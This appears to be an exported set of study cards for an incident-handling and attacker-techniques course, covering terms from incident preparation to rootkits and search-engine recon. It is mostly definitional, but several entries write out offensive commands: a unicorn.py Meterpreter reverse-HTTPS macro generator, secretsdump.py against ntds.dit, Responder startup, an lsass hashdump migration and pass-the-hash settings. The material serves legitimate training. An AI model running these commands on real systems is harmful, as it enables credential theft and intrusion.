Preparation - POC and Resources	1	35	Who is the POC in the incident command center • critical sites have established secured comms? • encrypted email with PGP or GnuPG • resource acquisition plan for team: permission in advance to purchase, money set aside for team to get required items during an incident ($5 - 10K)
Preparation - Policy	1	22	Limit the presumption of privacy • Response Strategies • Law Enforcement • Peer Notification • Notes •
Preparation - Relationships	1	38	Cultivate and coordinate with the Helpdesk can be "eyes and ears" • Admins have a "just aren't right" sense • conduct proactive training with Helpdesk and System/Network Admins, include them •
Preparation - Remain Calm	1	27	Don't hurry; mistakes can be costly • take notes, logs and evidence good • handwritten notes help in court and cannot be stole from an attacker or DOS
Preparation - Reporting Facilities	1	36	ways for users to report incidents (phone, email, website, voicemail, etc..) • educate users on them • publish list of indicators of incidents • War Room that locks when incident happens

Preparation - Response Strategies	1	23	Establish organizational approach to incident handling BEFORE the "big issue" such as secrecy or notify law enforcement Maintain secrecy of notify law enforcement Most organizations maintain secrecy until they must notify law enforcement Thats not always the best policy, though Get management buy-in and sign -off for your default practices Document any purposeful deviations from your standard practice when you opt to do so • contain and clear or watch and learn • management buy-in and sign-off on practices
Preparation - System and Data Access	1	34	Incident team may need pre-arranged system admin accounts • store ACCT & PW in sealed envelope in locked container only to be used if no Admin is available in emergency for IH •
Preparation - Team Issues	1	31	Burn-out; comp time is important
Preparation - Team Organization	1	32	on-site/on-location (reports to business unit w/ additional duty to help IH) • Command post w/ commo support • response time baseline (15 - 90 min) w/ silled person available in N minutes
Preparation - Train the team	1	37	planning/training meeting on scenarios • tools/techniques training • training issues: create forensics images and keyboard skill while under fire • counter hack challenges
Preparation - War Dialing	2	64	effective dial-up line and modem policy for out-of-band access is crucial • Inventory all dial-up lines with business need • Conduct war dialing exercises against your own network • Reconcile your findings against inventory • Utilize WarVOX • Get list of phone numbers based off phone company's bills since they make sure to get paid • Train users to use affective PIN passwords for their.
Process Explorer	1	75	detailed info for running processes • made by Sysinternals
process hiding	5	35	rootkit hiding category
Process Monitor	1	75	shows and logs file system, registry, network and process activity in real time • made by Sysinternals
Project Rainbow crack	4	18	provides software and free tables
Promiscuous mode	3	26	• when an ethernet interface is gathering all traffic regardless of its destination hardware address
Protocol Layer Review	3	28	• Application Layer (Web Surfing, Telnet, FTP) • Transport Layer (TCP or UDP) • Network Layer (IP) • Data Link Layer (Ethernet Firmware, MAC) • Physical Layer (Ethernet Card, Wire)
Protocol Parser Buffer overflows	3	100	flaws in protocol parsers let attackers get privileges of the vulnerable program often times root or system - can grab packets in promiscuous mode, attach to a port number less than 1024 • lack of bounds checks • often times protocol parsers are ran as admin thus attackers inherit those privileges when exploited
Protocol Parsers	3	99	Are a particular problem areas for buffer overflow vulnerabilities.---Parsers grab data from the network and parse it for an application. The code that breaks the data down into its component fields is often ripe with buffer Overflow vulnerabilities--Need to be run in admin mode to grab packets in promiscuous mode.---Attacker can flood your network with this type of exploit sending the attack to arbitrary machine addresses on the port associated with the vulnerable service
Proxy Web App Manipulation	4	115	The attacker owns a web browser and the web application manipulation proxy The attacker will point the web browser to the proxy and use the proxy to access the web server itself.All info passed from the browser to the server oor back goes through the proxy which will present a nice screen for interacting with that informationThe proxy allows the atttacke to edit the raw HTTP including nonpersistent cookies.use a reverse proxy b/w the web svr and the internet
ps -S lsass.exe	4	21	migrate the shell into lsass.exe for meterpreter to use hashdump
psexec	1	113	Microsoft Sysinternals command to run remotely
Psexec Metasploit	4	54	• Metasploit psexec module supports Pass-the-Hash• authenticates to a target using the credentials stored in the SMBUser and SMBPass variables• the SMBPass can hold either a password or hashes in the form of "LM:NT"• if the target account lacks a LM hash, you can configure Metasploit with an SMBPass of the LM hash of blank (AAD3B435B51404EE), followed by a colon, followed by the NT hash • metasploit has intelligence to auto detect whether a password or a hash has been provided in SMBPass, and it authenticates to the target appropriately, causing it to run a metasploit payload
psexec_psh	4	54	uses same arguments as psexec but uses powershell to invoke the pass-the-hash without writing a binary to disk
pshtoolkit	4	54	Pass the Hash Tool runs on Windows and accepts input of the LANMAN Hash colon separated from the NT Hash. It then injects these hashes into the local system's LSASS process. After this injection, the user can access remote machines with these credentials

PSK-based Wi-Fi - Attacks	2	74	simple and inexpensive (common for home, retail business, medical field) • lost or stolen devices threaten all devices • susceptible to offline password attacks (kismet, word lists) • android stores info in gobbles
Ptunnel	5	94	flexible tools • free tool runs on Linux or Windows, carrying TCP connections inside of ICMP Echo and ICMP Echo reply packets. • Has two components: Ptunnel client and the Ptunnel Proxy • attackers abuse this kind of tool to tunnel out sensitive information in the payload of ICMP packets • Can Use MD5-based challenge/response Authetication. ••Runs on Linux or Windows; written by Daniel Stodle; Carries TCP connections inside of ICMP Echo and ICMP Echo Reply packets
Ptunnel Features	5	95	how it works, diagram and walk-through on page
Public Databases	2	40	Job sites, pipl.com, jigsaw.com, namechk.com, Hacker sites.
Pulling data from multiple systems (enterprise)	1	127	need to pull data from logs across the enterprise for review • WMIC and SCCM can do this
Pulsing Zombies	4	134	bomb the target with traffic for a brief period of time, then go dormant. After dormancy, they awaken and start bombing again for another interval. The zombies pulse off and on asynchronously, so traffic load is still significant. Pulsing confounds investigators who cannto rely on the fact that traffic is actively being sent as they investigate. go silent it is much more difficult to locate them
push	3	111	means to throw the register onto the stack
PUSH 3 Way	2	100	Data should be pushed thru the TCP stack
Push Exploit Code into Memoy - Buffer Overflow	3	74	The exploit is an arbitary command to be executed in the context and with the permissions of the vulnerable program.- Overlfows in SUID root programs and processes runnign as UID 0 are special prizes for Unix/Linux.- Overflows in SYSTEM-level processes are treasured by attackers in Windows.- Exploit itself is often called "shell code. Attacker will try to invoke a shell because shell can be fed arbitrary commands to run. Exploit is in machine language - Tailored specifically to the processor architecture- Exploit must conform to the OSthe attacker must push exploit code into memory of the vulnerable program to run
Pushpin - 2 Sets of Data	2	41	• Map of a location with all of the posts located on it.• when you click on any of the "pins" it shows you the social media post, picture or video • Full listing of each of the social media posts• if you hover over any one of the posts it will show you where on the map that particular post was made
Pushpin - Attack Situations	2	41	• Users tend to take their work computer with them to get coffee or to lunch.• They tend to use whatever free wireless available and pushpin can find their location• With this data and attacker can use a number of wireless attacks when the user is not protected by their organization's security support structure.
Pushpin (Website Searches)	2	41	• Developed by Tim Tornes • Part of Recon-Ng • Social media Geo location• Flicker • Twitter • Picasa • Simply provide a latitude, longitude and a radius (in kilometers) and pushpin will pull all available social media posts from that area • Can be used to map targets to behavior patterns • When and where do they go to lunch• What are their religious and political leaning • Gather internal pictures of secured locations • Offices• Ingress / Egress points • Badges, which an attacker can clone for access • Timeframe in which the data is pulled varies wildly from provider to provider and location to location • Has been used in a number of assessments to discover access points and even people bring their phones into secure (and sometimes even classified) areas like military bases
python /usr/share/doc/python-impacket/example/secretsdump.py -system registry/SYSTEM -ntds Active\Director/ntds.dit LOCAL	4	20	how attakers decrypt the NTDS.dit and SYSTEM registry hive data on linux
python unicorn.py widows/meterpreter/reverse_https 10.10.75.1. 443 macro	3	107	start unicor with revers https macro • example on page
Qualys	2	122	Commercial service offered the features of as a Web-based scanning service

Quick UDP Intern Connect	5	101	Just about any protocol can be used as a covert channel* DNS - DNSCat2 by Ron Bowes and numerous other malware specimen* Quick UDP Internect Connect (QUICK) - Use of multiplexed UDP connections for connections* Stream Control Transmission Protocol (SCTP) - Also uses multi-streaming to send data across multiple concurrent connections, supports multihoming so multiple endpoints can be used as a failover, has built-in C2 server failover* Goal of attackers using odd protocols for transfer is to find new areas where existing signatures do not exist* Some issues with reassembly across multiple concurrent streams of data being sent Uses the sequence number for covert channels
r/netsec	1	29	Redit page for network security and vulnerability articles
r/pwned	1	29	Redit page for network security and vulnerability articles
Rainbow Tables -Password Cracking	4	18	cracking attacks based on a pre-caculated hash table to get plain text passwords•create encrypted/hashed password representations in advance -stored in RAM (1-2 Gig) or giant indexed file in hard drive (multiple terabytes or more) •Rainbow Project •Free Rainbow Tables
Ransomware	2	10	Where attackers takeover a system and attempt to blackmail a victim; this is done by either encrypting a HD or threatening to dump private files (emails); best defense is good backups
Rapid 7 InsightIDR	5	85	commercial automated behavior analysis tool
RATS	3	95	Rough Auditing Tool for Security. Free automated code checking tool for C and C++
Raw machine language	3	75	must not contain anythin equivalent to characters that are filtered out or would impact string operation
Real Intelligence Threat Analytics (RITA)	1	123	can perform analysis on netflow and connection logs • screenshots p 30 -33 WB
reconnaisance tools-web	2	57	websites that allow you to enter a target site and do research or even attacks: shodan, dnsstuff, tracert, traceroute, network-tools, securityspace
Reconnaissance	2	16	Casing the joint. To begin an attack, your adversaries gather as much informatio as possible from open sources. Two general attackers **Non-Discriminating** (Script kiddies)(Musabetsu-kougeki in Japan)-Looking for low hanging fruit, and may skip recon step **Attackers out to get a particular site**-more detailed in reconnaissance - This step is extremely important. Very helpful step for experienced attackers
reconnaissance - website searches	2	39	use the targets website or google searches to discover information
Reconnaissance (Step 1) attack process	2	4	an attacker conducts an open source investigation to gain information on the target, extremely important to attackers out to get a partiicular site
Reconnaissance with Search Engines	2	44	• search engines are the resources of choice for detailed recon activities• The easiest way to get information? Just ask for it -And ask someone/something that has a lot of information - Examples - Google, Bing, Biadu, and Yahoo • Great resources on this topic - Exploit Database GHDB page, the current home of the GHDB -http -//www.exploit-db.com/google-dorks . with over 1000 different useful searches to locate many problems on target domains- Many of the listed search directives work on other search engines as well- Based on original work by Johnny Long
Recon-NG	2	50	• Tim Tomes• one of the top tools for open source reconnaissance • ties numerous recon sources into one framework • currently over 60 different recon modules• most are free, some require a third party API key • workspace and reporting capabilities to keep projects separate and accessible • has ability to hook into sites like infoarmor.com and breachalarm.com to see if any target accounts have been compromised • some modules can tell if any target organization has been compromised via thrid party sites • uses the web interface for many sites which provide better results, but may violate the terms of service
Recovery	1	110	put impacted systems back in production • validate the system (test plans and baseline docs) • run through user acceptance testing documentation
Recovery - Looking for return of attacker	1	113	regularly check for compromise • uses script to check registry keys, processes, accounts, logs • can script remotely • apply cheat sheet techniques
Recovery - monitor	1	112	monitor for backdoors that escaped detection • use HIDS and IPS create custom sig for attack vector
Recovery - Restore operations	1	111	try for off-hour time • final decision is in system owners hands • document your advice in signed memo
References: Podcasts	5	160	list of useful podcasts.
Reflected DDoS attacks	4	133	Using the TCP three way handshake, an attacker can bounce a flood from the zombie to the victim--Zombie sends a SYN to legitimate site, Legit site sends a SYN/ACK to food the victim--Makes tracing the attack even more difficult
reflected(XSS) attack - Cross site scripting	4	100	because the script is being reflected off of the target website back into the user's browser (Non-Presistent)
reg *MachineName*	1	113	remote application of the reg command

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run	1	67	command that reads the Run registry key settings
reg query *regkey*	1	67	command line to view registry key settings by key **regkey* = registry key name • screen shot in WB p17
regedit	1	67	GUI to display registry keys
registry key for pass-the-hash	4	55	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy when set to 0 disables pass-the-hash for all users except Administrator(RID 500), set to 1 restores full capabilities • recommend setting 0 and disable the Administrator (RID 500) account
rekal -f [filename].dmp	5	23	command to analyze a file
Rekall	1	39	tool used by GRR Rapid Response to analyze remote memory • made by google ••lab 232WB
Rekall	1	97	tool used by GRR Rapid Response to analyze remote memory • made by google ••lab 232WB
Rekall	5	23	• Comprehensive memory analysis tool that integrates different modules including: imageinfo, netstat, pstree, pslist, dlllist, netscan, filescan, pedump, and modules. Numerous other modules are available. Uses Microsoft Windows native commands when pulling data from a memory dump. Modules pg 23 • Viewing Network Connections pg 25 • Viewing Processes pg 26 • DLL and Command Line p28
Rekall - start-up	5	23	rekal -f [filename].dmp exampel and screenshot on page
Rekall- dlllist	5	23	lists the DLLs loaded y a process, as well as the command line invocation of a process • example p237 WB
Rekall- DLLs and Command Line	5	28	dlllist module displays a list of DLLs loaded by a process. Output is similar to tasklist on Windows.
Rekall- filescan	5	23	Lists the files that each process had open
Rekall- Filtering - pslist	5	27	examples
Rekall- imageinfo	5	23	shows the data and time the memory dump was captures.
Rekall- 'modules' module	5	23	lists loaded modules from the dump, including drivers and SYS files
Rekall- netscan	5	23	shows all active listening UDP and TCP ports and connections • example 233 and 241 WB
Rekall- netstat	5	23	lists open sockets (PID, Port, Protocol, and when it was opened)
Rekall- Network Connections	5	25	netstat command. Displays a list of active network connections at the time the memory dump was acquired. Not the same as shell type netstat so bash auguments don't work
Rekall- pedump	5	23	Dumps code associated with running process into executable file.
Rekall- pslist	5	23	Lists running processes (PID, name, and parent ID) examplep26 and p235 WB
Rekall- pstree	5	23	lsee a full process tree for a memory image example p 239 WB
Rekall- Viewing Processes	5	26	pslist command. Lists running processes at time image was aquired • Can get similar information with "wmic process get name, parentprocessid, processid" command
related - directive	2	45	• "related -" directive-shows similar pages
Relationships	1	38	Helpdesk can be "eyes and ears" • Admins have a "just aren't right" sense • conduct proactive training with Helpdesk and System/Network Admins, include them •
relative path	1	179	cd init when in the /etc directory
Remain Calm	1	27	Don't hurry; mistakes can be costly • take notes, logs and evidence good • handwritten notes help in court and cannot be stole from an attacker or DOS
Remote control Backdoor Capabilities	5	15	common capabilities: Keystroke logger (gets passwords) • Create dialog boxes (social engineering) • lock-up / reboot a machine • get detailed system info • access files • create VPNs • access camera and audio • Many of these features are found in Meterpreter
removal of malicious software	1	106	see Eradication Remove malicious software
remove.c	5	71	Unix/Linux log editing tool. Removes entries from logs utmp, wtmp, lastlog. One of several tools.
Remux	2	108	Scans for a list of Proxys online; federates scanning or browsing through dozens of proxies; makes determining the source of a attack or scan difficult • Slow and buggy learns what proxies are alive and gets stable/faster over time • proves why IP-address filtering does not work effectively against a attacker
Reoccuring training - People - Preparation	1	21	Best way to prepare people for Social Engineering and Phishing attacks
Report - lessons learned	1	115	document what happened • develop follow-up report • all parties should review draft
Reporting Facilities	1	36	ways for users to report incidents (phone, email, website, voicemail, etc..) • educate users on them • publish list of indicators of incidents • War Room that locks when incident happens
Request Tracker for Incident Response (RTIR)	1	91	ticketing system for incident handling and tracking
RESET - 3 Way	2	100	Tear down a connection
Resource procurement for IH team	1	35	resource acquisition plan for team: permission in advance to purchase, money set aside for required items during an incident ($5 - 10K)

Responder	3	53	• Responder is an outstanding tool designed to launch LLMNR attacks • It can also launch NBT-NS, DNS/MDNS attacks • Automatically launches a number of services to redirect victim systems to in order to harvest credentials - HTTP, HTTPS, SQL Server, Kerberos, FTP, IMAP, SMTP, DNS, LDAP • The goal is to spoof a system, then be ready to intercept the authentication requests on the fly • It can also serve up malicious.exe files and force downgrade for LANMANauthentication (Easier to crack)
Responder (2)	3	54	(Graphic) what responder looks like at start up •• example on p133 WB
Responder Capture (Graphic)	3	55	capturing a gmail password hash
responder start up	3	54	sudo /opt/Responder/Responder.py -I eth0 • -I to specify the target interface (dash-eye)
Response Strategies - Preparation	1	23	Establish organizational approach to incident handling BEFORE the "big issue" such as secrecy or notify law enforcement Maintain secrecy of notify law enforcement Most organizations maintain secrecy until they must notify law enforcement Thats not always the best policy, though Get management buy-in and sign -off for your default practices Document any purposeful deviations from your standard practice when you opt to do so • contain and clear or watch and learn • management buy-in and sign-off on practices
Restore from Back-up	1	105	load from recent clean back-up and patch vulnerability • if rootkit-style attack: wipe drive, reformat, rebuild system from original install, apply patches • without complete reformat attacker tools can linger
Restore Operations	1	111	try for off-hour time • final decision is in system owners hands • document your advice in signed memo
Return Oriented Programming (ROP)	3	91	ROP involves altering return pointers so that the program executes exisiting libraries of legitimate OS code on the target machine, instead of the attackers own code. •• Can bypass DEP defenses
Return Pointer	3	67	Contains the address where execution was interrupted in the calling function (that is the original program making the function call)
Return Pointer Improvement - Buffer Overflow	3	77	• Include NOPs in advance of the executable code; then if your pointer goes to the NOPs, nothing will happen; execution will continue down the stack until it gets to your instructions; NOPs can be used to detect these attacks on the network • the package that contails the NOP sled, attacker machine code, and RP is sometimes called an "egg"
Reverse HTTP Shell / Reverse WWW Shell	5	92	1. at predetermined intervals, the reverse http shell program on the internal system surfs the internet asking for commands from the attacker's external machine; 2. the attacker types in commands at the external machine on the internet and sends the commands back to the victim machine as http responses; 3. these commands are then executed on the internal network host; the results are pushed out with the next we request; allows the attacker to program the system with a userID and password that will be given to the outgoing web proxy firewall for authentication
Reverse HTTP Shells	5	92	1.) On the internal system surfs the Internet asking for commands from the attacker's external machine. 2.) The attacker types in commands at the external machine on the Internet and sends the commands back to the victim machine as HTTP responses. 3.) These commands are then executed on the internal network host 4.) The results are pushed out with the next web request.Works through web proxies--Uses HTTP GET command--Even supports authenticating through a web proxy with static password!
Reverse Shell (Shoveling Shell) (Metasploit Payload)	3	83	This payload shovels a shell back to the attacker on a TCP port. The attacker will likely have a Netcat listener waiting to receive the shell
Reverse VNC DLL Inject (Metasploit Payload)	3	83	This payload inserts VNC as a DLL inside the running process, and then tells the VNC server to make a conneciton back to the client, in effect shoveling the GUI.
Review the data	1	153	review evidence with EnCase or Sleuthkit
RFC 1918	1	123	IP address to externally rotatable IP adresses.
RFC 2671	4	127	EDNS -Extension Mechanisms for DNS.
Right to redress	1	12	criminal and civil law remedies associated with computer incidents • proceed in way that doesn't preclude use of evidence gathered in court setting
Ring 0	5	42	• Kernal mode on x86 CPU's running Linux/Windows
Ring 3	5	42	• user mode on x86 CPU's running Linux/Windows
RIP on x64	3	72	is the location of the instruction pointer on 64 bit systems
Risk of Continued Operations	1	99	look at logs and other sources to see the overall impact of the attack and for far it reaches • make recommendation for long-term containment (document in signed memo)

RITA	1	123	Utility written by Black Hills to assist in hunt teams to identify advanced attackers who easily bypass most traditional security products. •• screenshots p 30 -33 WB Supports: domain whitelisting, ip whitelisting and domain name generation algorithms.
Robots.txt	2	51	• robots.txt is **not a security feature** - must be world readable for search engine crawlers to find it • draws attention to files, and careful attackers are wise to plunder it for interesting directories and files on target website • can be interesting place to refer to a honeypot web page, only referred to in robots.txt, nowhere else • monitor all IP address that try to access that page
root cause analysis	1	117	why did the incident occur and what can be fixed proceedurally * weak / lack of policy or enforcement
Rootcheck - OSSEC	5	55	Rootkit detection feature within OSSEC
Rootkit Detectors - Windows	5	56	Sophos, McAfee Rootkit remover, GMER
Rootkit Hiding Tools	5	35	• 4 categories: process hiding, network hiding, file hiding, and event hiding
Rootkit- Hiding Windows Rootkits	5	38	Newer rootkits make hiding easy. The attacker places the executable in a given directory then runs it with admin privileges. Any files in that directory are hidden. Any processes associated with executables from that registry are hidden. Registry keys created are hidden. TCP/UDP ports also hidden.
Rootkit Hunter	5	55	Linux- Rootkit detection tool
Rootkit- Linux Components	5	34	Modify login program, ifconfig and replaces several critical files. Other commonly modified network services files: login, rshd, sshd, inetd, and tcpd services. Commonly modified local commands- chfn, chsh, passwd, and su. Instantly elevates privileges when used
rootkit style attack - how to restore	1	105	wipe drive, reformat, rebuild system from original install, apply patches • without complete reformat attacker tools can linger
rootkit tacktics - Linux	5	33	rootkits will backdoor the sshd process to return access when a special username and password is supplied (or backdoors in logind, xinetd, tcpd or other listening process) • replace system binaries with modified version, reusing commands that run as root to ad backdoor functionality (chfn, chsh, passwd, and su commands)
Rootkits	5	32	Rootkits are collections of tools that allow an attacker to keep backdoor access into a system and mask the fact that the system is compromised by altering the operating system itself and existing programs on the machine (rather than by adding new programs). Because of this, they are very effective backdoors. • depend on attacker ALREADY having root access ••lab 243WB
Rootkits - Windows screenshot of rootkit running	5	40	screenshot of before and after rootkit installation on windows machine
Rootkits- Contain, Erad, Recover	5	59	Containment- analyze other systems' changes made by discovered rootkits Eradication- wipe drive and reinstall operating system, applications, and data from original media; apply patches; change root/admin passwords Recovery- Monitor systems carefully.
Rootkits- Hiding Linux Rootkits	5	35	Hide processes- replace or redirect ps, top, and pidof. Many rootkits replace killall so that the attackers process cannot be killed. Alters crontab so that it starts attackers processes on boot.---network hiding- ommitting listening ports or ommitting promiscuous mode.hiding files- changes the ls and find commands so that they cannot be found. Changes du command so disk usage appears unchanged hiding events- modify the syslogd file, so that it will not record or log events associated with the attackers machine.
Rootkits- Processes to inject into	5	37	Attackers will inject malicious DLLs into processes that are normally running on the system. Particularly explorer.exe which impelments the Windows GUI.
Rootkits- Windows Device Drivers	5	45	Windows kernel-level rootkits are often created with malicious device drivers, an attacker can undermine the windows kernel because drivers are run at kernel mode. Starting in Windows Vista, Microsoft required mandatory device driver signing for Windows Kernel Components. Stuxnet subverted this by stealing signing keys issued to legitimate companies. It can also be manipulated by modifying memory.
Rootkits- Windows Rootkit Hooking	5	39	Example: Rootkit executable creates two malicious DLLs (iexplore.dll and explorer.dll) in the example then injects them into legitimate explorer.exe process. This is particularly effective because iexplore.dll and explorer.dll wouldn't exist by default on a windows machine. Once inside the legitimate process, the dll does the API hooking. Explorer.dll injects iexplore.dll hooking API calls associated with hiding information.
Rootkits- Windows User Mode Rootkit	5	36	To understand windows rootkits, we have to analyze concept of DLL injection. An exe loads various DLLs it requires and relies on them to take actions on the system. Attackers inject malicious DLLs into running EXE processes and memory space. List of methods on the page
Rootkits: User-Mode Windows	5	45	Debug priviledges allows DLL injection--Hook APIs to views of running processes, open ports, and the file system

Rooty	5	50	Linux 2.6+ and 3.0+ kernel rootkit. Written as an academic paper with source code available. Uses insmod to insert the various rootkit components. Hides by modifying the results listed by lsmod (lists loaded kernel modules). Modifies system call table. Real-time hides from strace • auto determines if system is 32 or 64 bit by reviewing unistd.h and comparing system call addresses
Rooty- Altering kernel to hide	5	51	Redirects system calls associated with executing programs and opening files by creating a "cone of silence" hiding the attacker. Carves user mode mode into two worlds: visible and a cloaked environment. The attacker can see everything, but the user and administrators cannot. • attacker can hide Processes, Files and directories, Port usage
RPC scanning	2	103	identifies which Remote Procedure Call services are offered by target
rpcclient	2	131	one of the biggest treasure troves of information available is over SMB on linux.
rpcclient - SMB (Samba)	2	141	rpcclient -U [username] [WinIPaddr] • Linux tool used to establish SMB sessions, originally created as a troubleshooting and debugging tool for the Samba suite
rpcclient - using Samba on Linux	2	141	$ rpclient -U [username] [WinIPaddr] establish a session You have an rpcclient prompt with many commands available - enumdomusers: List users - enumalsgroups domain: enumerates local grps; 'als' stands for alias - enumalsgroups builtin: enumerates default groups and shows **RID** - lsaenumsid: Show all users SIDs defined on the box - lookupnames: [name]: Show SID associaled with user-or group name - lookupsids [sid]: Show user name associated with SID - srvinfo: Show OS type and version
rpcclient - using Samba on Linux cont	2	141	Linux tool to pull info from an SMB session. Established using - rpcclient -u [username] [WinIPaddr] . Hundreds of commands, including enumdomusers, enumalsgroups, lsaenumbsid, lookupnames, lookupsids, srvinfo List Windows Users, Groups, etc
Rubber Duckies	3	5	• Rubber Duckies are Human Interface Devices (HID) • look like USB thumb drive, but are actually an automatic keyboard • Which types really fast, and can take over a computer • Can execute commands fast and quietly quckly exploiting systems within seconds • They can brute force pins on some phones - When it types, it can do a number of things like download and install malware, pull files from the system, perform a wireless site survey, steal credentials, etc • Open GUI keyboard commands: WinKey + R, cmd, Enter • **example on p6**
ruby peencode.rb payload.asm -o payload.exe	3	112	recomplies the ASM file to a PE executable • example on page
SadMind/IIS Worm	4	62	• May 2001• mushroomed through the internet, targeting Sun Solaris and Microsoft Windows• exploited the sadmind service used to coordinate remote administration of Solaris machines• from victim machines, worm spread to Microsoft's IIS web server, spread to other solaris machines, continued the cycle
SAINT	2	122	Commercial vulnerability scanner
salt	4	16, 17	adds entropy (randomness and lack of predictability) to password hashing
SAMBA client code	4	54	SAMBA client code running on Linux or Windows. By simply defining an environment variable of LANMAN Hash, followed by a colon, followed by the NT Hash, attacker can then rely modified versions of several SAMBA client tools to access the target
samba daemon	2	131	smbd
SANS SCORE	1	115	sample forms for incident handling reports
Santy	2	49	• Started December 2004 • Worms are using google to locate vulnerable systems and spread • Santy searches Google for vulnerable version of the phpBB script, then attacked systems running it• Because of this, Google is now filtering some of the common php and related searches conducted by worms
SaranWrap	5	18	• Wrapper software
Sasser Worm	4	63	exploited Windows LSASS vulnerability | vulnerabilitty discovered and patch released April 13, 2004 | worm released 3 weeks later
sc config "servicename" start= disabled	2	111	disables a running service
sc query	2	111	windows cmd line for a list of services
sc query | more	1	66	shows detailed list of each service • screen shot in WB page 14
sc stop "servicename"	2	111	shut off a service
scanning (Step 2)attack process	2	4	an attacker uses a variety of mechanisms to survey a target to find holes in the target's ddefense
Scareware	5	16	• scare people into beleiving their systems are compromised, then running backdoor on the user's system. Might be a part of social engineering via cold calling. Sometimes charge hundreds of dollars to "fix" issues.
SCCM - System Center Configuration Manager tool	1	128	Microsoft SCCM can pull drivers, users, services and inform about software on a system • hard set-up
schtasks	1	71	shows all scheduled tasks • screen shot in WB page 19
ScreenShotter (MitMF)	3	35	• MitMf also has a tool called ScreenShotter which invokesHTML5 Canvas to take a screenshot of the browser.

Script Kiddies	2	9	Derogatory term for less informed or less skillfull attackers. Misuse security vulnerability information and tools to perpetrate their attacks (3lit3 haxx0rs) also known as ankle biters
Scrypt	4	28	requires 1000x as much memory, with is difficult for GPUs to accomodate
SCTP (Stream Control Transmissions Protocol)	5	101	Just about any protocol can be used as a covert channel* DNS - DNSCat2 by Ron Bowes and numerous other malware specimen* Quick UDP Internect Connect (QUICK) - Use of multiplexed UDP connections for connections* Stream Control Transmission Protocol (SCTP) - Also uses multi-streaming to send data across multiple concurrent connections, supports multihoming so multiple endpoints can be used as a failover, has built-in C2 server failover* Goal of attackers using odd protocols for transfer is to find new areas where existing signatures do not exist* Some issues with reassembly across multiple concurrent streams of data being sent Uses the sequence number for covert channels
Search Directive - Info	2	45	• finds cached pages, related pages, pages that link to it, pages that contain the term• returns a bunch of data, including results from "link" and "related" searches
Search Directive - Intitle	2	45	shows pages whose title matches the search criteria
Search Directive - Inurl	2	45	shows pages whose URL matches the search criteria
Search Directive - Link	2	45	• shows all sites linked to a given site• can be used to find business partners, suppliers, and customers• Example - link -www.counterhack.net
Search Directive - Related	2	45	• shows pages that have similar content and links to the searched page• not extremely useful because it often returns fairly unrelated items
Search Directive - Site	2	45	• searches only within the given domain• allows an attacker to search for pages on just a single site or domain, narrowing down and focusing the search• Example - site -www.counterhack.net• this type of search lets you target the recon of only specific sites
Search Directives (useful)	2	45	• "site -" directive , Search only within the given domain- allows an attacker to search for pages on just a single site or domain, narrowing down and focusing the search• "link -" directive- Shows all sites linked to a given site- During recon this directive can be used to find business partners, suppliers, and customers• "intitle -" directive - shows pages whose title matches the search criteria• "related -" directive-shows similar pages • "info -" directive- Finds cached page, related pages, pages that link to it, pages that contain the term
Search Engine Recon	2	44	• search engines are the resources of choice for detailed recon activities• The easiest way to get information? Just ask for it -And ask someone/something that has a lot of information - Examples - Google, Bing, Biadu, and Yahoo • Great resources on this topic - Exploit Database GHDB page, the current home of the GHDB -http -//www.exploit-db.com/google-dorks . with over 1000 different useful searches to locate many problems on target domains- Many of the listed search directives work on other search engines as well- Based on original work by Johnny Long
Search Engine Recon Defenses	2	51	Look for information leakage using Google yourself • Instructions at Google Webmaster Tools • Remove the website (robots.txt file) • Remove individual pages ("NOINDEX, NOFOLLOW" meta tag) • Remove snippets ("NOSNIPPET" meta tag) • Remove cached pages ('NOARCHIVE" meta tag) • Remove an image from Google's image search • Remove unwanted items from google • URL re-crawl request submission form at Google Webmaster Tools
Search tips and Types (Additional)	2	45	• search for a literal string using double quotes " ", as in "Soc Sec Num"• google is always case insensitive, even with double quotes • add minus (-) to a search term to maximize effectiveness of resulting hits - excludes pages with a given work - immensely helpful in narrowing down a search and maximizing the value of the 1,000 results that google will give you - Example - site -sans.org -www.sans.org• search for airline status- type in airline and flight number - front end for travelocity and fboweb.com• search for VIN for vehicle information (CarFax)• search for UPC number for product info (UPCDatabase.com)
SearchDiggity	2	50	Bishop Fox's SearchDiggity suite includes Google Diggity, Bing Diggity, and other search capabilities • other modules include: malware Diggity, Data Loss Prevention Diggity, Flash Diggity • Many of the above"diggity components require an API for the respective service - Some free API's provide fewer results than web interface runs searches across multiple engines to help speed up the finding of information
secpol.msc	5	36	Shows which accounts on your local system have debug privileges by navidating to security settings > local policies > usr rights assignments. •• screenshot p 22 WB
SEC's Edgar Database	2	40	Database for publicly traded US Companies ; Open Source Identification
Securities and Exchange Commission - SEC	2	40	manages the SEC Edgar search ingine • useful information source for collecting data on publicly traded us Companies

SECURITY.EVT	5	81	Each .LOG file is periodically rewritten into an .EVT format in this file. These files are readable through the Event viewer and are write protected and cannot be altered on a running system.
SECURITY.LOG	5	81	The windows event logger produces a set of buffer files called .LOG files. This is one of the three primary windows event types.
seed target	2	26	domain name, hostname, or an email address • used in SpiderFoot OSINT searches
select * from pslist () where [processname].pid == 1234	5	27	sql-like filter to sort pslist info
select *field* from *table* where *variable* = '*value*' update table set field = 'value';	4	88	used to query for SQL injection
Sensitivity of Case	1	89	Level 1: Extremely (CSIRT, MGMT) • Level 2: Sensitive (CSIRT, MGMT, system owner/operators) • Level 3: Less Sensitive (CSIRT, affected employees)
Server Message Block Protocol (SMB)	2	131	1) layer 7 protocol that implements file and printer sharing, domain auth, remote admin, and many other features. 2) accessed via **TCP 445** on modern systems, on older systems (WinNT, 2K) SMB is carried over NetBIOS which uses TCP and **UDP 135 - 139** 3)Used throughout Windows enviorments - Workstation service implements much of the client code - Client tools include File Explorer, "net use" command, reg command, sc command, Sysinternals psexec tool, and much more - Ther Server service implements much of the server side code (running on both servers and workstation machines) 4) Supported in Linux and Unix via Samba client tools (SMBclient, SMBmount, rpcclient, and more) and the SMB daemonn. 5) Heavily used post exploitation to avoid detection
services.msc	1	66	invoked with Start | Run or CMD prompt • shows various services and status
services.msc	2	111	opens the services gui interface
Session Credential	4	118	sessionID, sequence of numbers or characters sent back to browser, generated upon succesful user authentication
Session hijacking and Sniffing Defenses -Contain Erad, and Rec	3	57	Containment - Drop spurius sessions (change passwords and restart services which attacker is connected Eradicate/Recover - Change passwords of hijacked accounts; rebuild systems.
